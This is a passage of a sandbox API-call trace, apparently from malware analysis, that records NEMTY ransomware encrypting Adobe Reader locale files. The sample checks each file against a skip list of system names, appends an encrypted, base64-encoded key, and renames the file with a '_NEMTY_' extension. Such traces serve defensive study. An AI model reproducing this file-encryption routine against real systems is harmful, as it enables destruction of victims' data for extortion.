returned 1 [0177.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0177.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.HRV", lpUsedDefaultChar=0x0) returned 17 [0177.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0177.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.HRV", lpUsedDefaultChar=0x0) returned 17 [0177.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.HRV", lpUsedDefaultChar=0x0) returned 17 [0177.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.401] Sleep (dwMilliseconds=0x5) [0177.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d653a90, dwHighDateTime=0x1d561e8)) [0177.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d653a90, dwHighDateTime=0x1d561e8)) [0177.417] GetLastError () returned 0xb7 [0177.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.417] GetLastError () returned 0xb7 [0177.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0177.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.417] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.417] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="TX8nYMpxeM5dUr3DALvybNSRc9RKggpHA8Zj25NsUJMjoCPVY3Mix3VBEdvJ/RLi\r\n5F4OmPC4qfDmlzw9Y00Gw0d9LzWraU0TgnsQgLSvzGq8btN9y5qucG/ay5eoW7ts\r\ne5mdobIR+Ao8rMYqRXlsP36+9JCmQixh5aop2/0Xdrv488y68VBq4+eouMdguJ4c\r\nZjz2l6EyyWG0lzoU5lKadH7gY4riX74W1/WAla61OOvbKXfUH2kOFFHYkUmGNzzA\r\nP6Tz3WvGiLVyVOsPpbzwx418s5GuDToCRc+JQfl1BXAl2qOrteVLR2aj+OkGtrYl\r\n59YWqwepqJmXqX73fnMbew==\r\n", pcchString=0x653e5dc) returned 1 [0177.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0177.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.417] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\accessibility.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.418] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=44032) returned 1 [0177.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xac00) returned 0x6352c48 [0177.418] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.418] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xac00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xac00, lpOverlapped=0x0) returned 1 [0177.422] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.422] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xac00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xac00, lpOverlapped=0x0) returned 1 [0177.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.422] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=44032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac00 [0177.422] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.422] CloseHandle (hObject=0x2e8) returned 1 [0177.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0177.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0177.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0177.423] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\accessibility.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\accessibility.hrv._nemty_kgobjgd_")) returned 1 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.424] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.HRV", cAlternateFileName="")) returned 1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2=".") returned 1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="..") returned 1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="...") returned 1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="windows") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="rsa") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="NTDETECT.COM") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="ntldr") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="MSDOS.SYS") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="IO.SYS") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="boot.ini") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="boot.ini") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="AUTOEXEC.BAT") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="ntuser.dat") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="desktop.ini") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="CONFIG.SYS") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="RECYCLER") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="BOOTSECT.BAK") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="bootmgr") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="programdata") returned -1 [0177.424] lstrcmpiW (lpString1="Acroform.HRV", lpString2="appdata") returned -1 [0177.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.HRV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.425] Sleep (dwMilliseconds=0x5) [0177.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d679bf0, dwHighDateTime=0x1d561e8)) [0177.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d679bf0, dwHighDateTime=0x1d561e8)) [0177.432] GetLastError () returned 0x0 [0177.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.432] GetLastError () returned 0x0 [0177.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.432] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.433] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.433] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.433] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="9seXwGbCcAMhWM9yBZStj9WBl0AA55Is4obyKx6EyDsWNirSpKWucQ4qhSHx4YkM\r\n5hCYZu6ppm9x7xRMOVQMirZnW46cM1gwfwhahTcc3IekaMJ8sh4sPSMqFbAhslge\r\nn2ZKbtzMCgg6CGfQsK/sZT+4DPCi5HsPRe27s9Jrk8Z32EGk7uzs5mAHSbSrLjXg\r\nmGdEntX3wRzVTrtP+EcB4HBslTkC+gFI1U3qQi7AED5Y+jZr5s3iD5S145uK64vb\r\nQoiTNOshVDCdYgsuwmPnvHWndGnuP31ntJQQe4yRS4TQyAdSqozaNWB2/ddxkX8v\r\n/kLrVWWQb7LwzgSBwd6ajw==\r\n", pcchString=0x653e5dc) returned 1 [0177.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\acroform.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.433] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=419328) returned 1 [0177.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.433] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.433] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.442] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.442] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.442] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=419328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66600 [0177.442] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.444] CloseHandle (hObject=0x2e8) returned 1 [0177.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.445] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\acroform.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\acroform.hrv._nemty_kgobjgd_")) returned 1 [0177.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.445] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.HRV", cAlternateFileName="ADOBEC~1.HRV")) returned 1 [0177.445] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2=".") returned 1 [0177.445] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="..") returned 1 [0177.445] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="...") returned 1 [0177.445] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="windows") returned -1 [0177.445] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.445] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="rsa") returned -1 [0177.445] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="NTDETECT.COM") returned -1 [0177.446] lstrcmpiW (lpString1="AdobeCollabSync.HRV", lpString2="ntldr") returned -1 [0177.446] 